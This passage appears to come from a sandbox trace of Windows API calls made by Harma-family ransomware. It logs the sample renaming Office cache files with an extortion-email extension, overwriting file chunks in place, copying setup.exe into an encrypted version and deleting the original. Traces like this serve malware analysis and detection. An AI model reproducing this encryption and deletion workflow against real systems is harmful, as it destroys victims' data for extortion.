(lpString1=".msi", lpString2=".harma") returned 1 [0059.116] lstrlenW (lpString="Office32WW.msi") returned 14 [0059.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0059.373] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1992192) returned 1 [0059.373] CloseHandle (hObject=0x1a0) returned 1 [0059.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0059.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.373] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0059.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0059.374] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0059.374] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0059.374] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.378] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0059.380] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.383] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.383] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0059.383] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.400] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0059.400] WriteFile (in: hFile=0x1a0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0059.658] SetEndOfFile (hFile=0x1a0) returned 1 [0059.658] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0059.663] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0059.663] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.665] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0059.665] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.668] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0059.668] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0059.673] CloseHandle (hObject=0x1a0) returned 1 [0059.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0059.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.673] lstrlenW (lpString=".doc") returned 4 [0059.673] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.673] lstrlenW (lpString=".docx") returned 5 [0059.673] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0059.673] lstrlenW (lpString=".pdf") returned 4 [0059.673] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.673] lstrlenW (lpString=".xls") returned 4 [0059.673] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.674] lstrlenW (lpString=".xlsx") returned 5 [0059.674] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0059.674] lstrlenW (lpString=".ppt") returned 4 [0059.674] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.674] lstrlenW (lpString=".zip") returned 4 [0059.674] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.674] lstrlenW (lpString=".rar") returned 4 [0059.674] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.674] lstrlenW (lpString=".bz2") returned 4 [0059.674] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.674] lstrlenW (lpString=".7z") returned 3 [0059.674] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.674] lstrlenW (lpString=".dbf") returned 4 [0059.674] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.674] lstrlenW (lpString=".1cd") returned 4 [0059.674] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.674] lstrlenW (lpString=".jpg") returned 4 [0059.674] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.675] lstrlenW (lpString=".doc") returned 4 [0059.675] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.675] lstrlenW (lpString=".docx") returned 5 [0059.675] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0059.675] lstrlenW (lpString=".pdf") returned 4 [0059.675] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.675] lstrlenW (lpString=".xls") returned 4 [0059.675] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.675] lstrlenW (lpString=".xlsx") returned 5 [0059.675] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0059.675] lstrlenW (lpString=".ppt") returned 4 [0059.675] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.675] lstrlenW (lpString=".zip") returned 4 [0059.675] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.675] lstrlenW (lpString=".rar") returned 4 [0059.675] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.675] lstrlenW (lpString=".bz2") returned 4 [0059.675] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.675] lstrlenW (lpString=".7z") returned 3 [0059.675] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.675] lstrlenW (lpString=".dbf") returned 4 [0059.675] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.675] lstrlenW (lpString=".1cd") returned 4 [0059.676] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.676] lstrlenW (lpString=".jpg") returned 4 [0059.676] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.676] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0059.676] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0059.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.586] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=36233052) returned 1 [0060.586] CloseHandle (hObject=0x214) returned 1 [0060.587] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0060.587] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.587] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0060.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.588] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0060.588] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0060.588] ReadFile (in: hFile=0x214, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.593] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0060.593] ReadFile (in: hFile=0x214, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.598] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.599] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0060.599] ReadFile (in: hFile=0x214, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.633] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0060.634] WriteFile (in: hFile=0x214, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0061.844] SetEndOfFile (hFile=0x214) returned 1 [0061.844] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f23170 [0061.849] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0061.849] WriteFile (in: hFile=0x214, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.850] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0061.850] WriteFile (in: hFile=0x214, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.850] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0061.851] WriteFile (in: hFile=0x214, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f23170 | out: hHeap=0x5a0000) returned 1 [0061.853] CloseHandle (hObject=0x214) returned 1 [0061.853] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0061.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.853] lstrlenW (lpString=".doc") returned 4 [0061.853] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.853] lstrlenW (lpString=".docx") returned 5 [0061.853] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.853] lstrlenW (lpString=".pdf") returned 4 [0061.853] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.853] lstrlenW (lpString=".xls") returned 4 [0061.853] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.853] lstrlenW (lpString=".xlsx") returned 5 [0061.853] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.853] lstrlenW (lpString=".ppt") returned 4 [0061.854] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString=".zip") returned 4 [0061.854] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString=".rar") returned 4 [0061.854] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString=".bz2") returned 4 [0061.854] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.854] lstrlenW (lpString=".7z") returned 3 [0061.854] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString=".dbf") returned 4 [0061.854] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString=".1cd") returned 4 [0061.854] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString=".jpg") returned 4 [0061.854] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.854] lstrlenW (lpString=".doc") returned 4 [0061.854] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString=".docx") returned 5 [0061.854] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.854] lstrlenW (lpString=".pdf") returned 4 [0061.854] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString=".xls") returned 4 [0061.854] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.854] lstrlenW (lpString=".xlsx") returned 5 [0061.854] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.855] lstrlenW (lpString=".ppt") returned 4 [0061.855] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.855] lstrlenW (lpString=".zip") returned 4 [0061.855] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.855] lstrlenW (lpString=".rar") returned 4 [0061.855] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.855] lstrlenW (lpString=".bz2") returned 4 [0061.855] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.855] lstrlenW (lpString=".7z") returned 3 [0061.855] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.855] lstrlenW (lpString=".dbf") returned 4 [0061.855] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.855] lstrlenW (lpString=".1cd") returned 4 [0061.855] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.855] lstrlenW (lpString=".jpg") returned 4 [0061.855] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.855] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0061.855] lstrlenW (lpString="setup.exe") returned 9 [0061.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.856] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1377656) returned 1 [0061.856] CloseHandle (hObject=0x214) returned 1 [0061.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0061.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0061.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.856] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.856] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.857] GetLastError () returned 0x0 [0061.857] ReadFile (in: hFile=0x214, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0062.169] WriteFile (in: hFile=0x1a0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0062.190] ReadFile (in: hFile=0x214, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x50588, lpOverlapped=0x0) returned 1 [0062.611] WriteFile (in: hFile=0x1a0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x50590, lpOverlapped=0x0) returned 1 [0062.622] ReadFile (in: hFile=0x214, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0062.622] WriteFile (in: hFile=0x1a0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.622] SetEndOfFile (hFile=0x1a0) returned 1 [0062.623] CloseHandle (hObject=0x1a0) returned 1 [0062.623] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.623] SetEndOfFile (hFile=0x214) returned 1 [0062.627] CloseHandle (hObject=0x214) returned 1 [0062.627] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0062.627] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0062.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.628] lstrlenW 